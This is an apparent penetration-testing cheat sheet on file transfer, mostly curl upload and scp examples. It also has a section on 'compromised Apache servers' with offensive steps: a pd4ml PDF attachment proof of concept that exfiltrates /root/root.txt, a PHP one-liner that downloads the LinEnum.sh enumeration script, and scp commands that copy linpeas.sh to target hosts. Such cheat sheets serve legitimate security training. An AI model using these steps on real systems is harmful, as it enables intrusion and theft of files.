File Transfer
Listeners and binaries
curl
File Upload
curl -T example.txt https://example.com/uploadFile Upload + POST
curl -T example.txt -X POST https://example.com/uploadFile upload + Authentication
curl -u user:pass -T example.txt https://example.com/uploadFile Upload + Token Authentication
curl -u :YOUR_TOKEN -T example.txt https://example.com/uploadFile Upload + Custom Header
curl -H "Authorization: Bearer YOUR_TOKEN" -T example.txt https://example.com/uploadFile Upload + Multiple Custom Headers
curl -H "Authorization: Bearer YOUR_TOKEN" -H "Content-Type: application/json" -T example.txt https://example.com/uploadMultiple File Uploads
curl -T file1.txt -T file2.txt https://example.com/uploadFile Upload as Form submission
curl -F "file=@example.txt" https://example.com/uploadFile Upload + Additional Query Parameters
curl -T example.txt "https://example.com/upload?user=alice×tamp=2024"File Upload + Redirect
curl -L -T example.txt https://example.com/uploadFile Upload + Retry
curl --retry 5 -T example.txt https://example.com/uploadFile Upload to FTP server
curl -T example.txt ftp://ftp.example.com/upload/File Upload + Custom HTTP Method
curl -X PATCH -T example.txt https://example.com/uploadFile transfer on compromised Apache servers
Copy a file into Apache Web Directory
With the right permissions, you can copy the file to
/var/www/htmlso it can be access from the URLhttp://<server-ip>/file.txt.
cp archivo.txt /var/www/htmlGive ownership to the web user
sudo chown www-data:www-data /var/www/html/archivo.txtSet the file to be read by everyone
sudo chmod 644 /var/www/html/archivo.txtUploading via Apache (web interface)
Ensure the appropriate
upload_max_filesizeandpost_max_sizedirectives are set in thephp.inifile.Normally is located here
/etc/php/7.x/apache2/php.ini
upload_max_filesize = 50M
post_max_size = 50MUse pd4ml.jar to exfill files attaching then to the PDF
POC
<html>
<pd4ml:attachment src="/root/root.txt"/>
</html>
With PHP code execution
One liner
php -r '$file = file_get_contents("https://<snip>/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'Secure Copy Protocol scp
From local machine to remote host
scp localfile username@remotehost:/path/to/destination/From remote host to local machine
scp username@remotehost:/path/to/remotefile /local/path/Specific Port
scp -P 47502 linpeas.sh user1@83.136.252.198:/home/user1With key
scp -i ~/.ssh/key linpeas.sh professor@10.10.10.131:/home/professor/From local to Apache Server
scp archivo.txt user@remote-server:/var/www/html/Last updated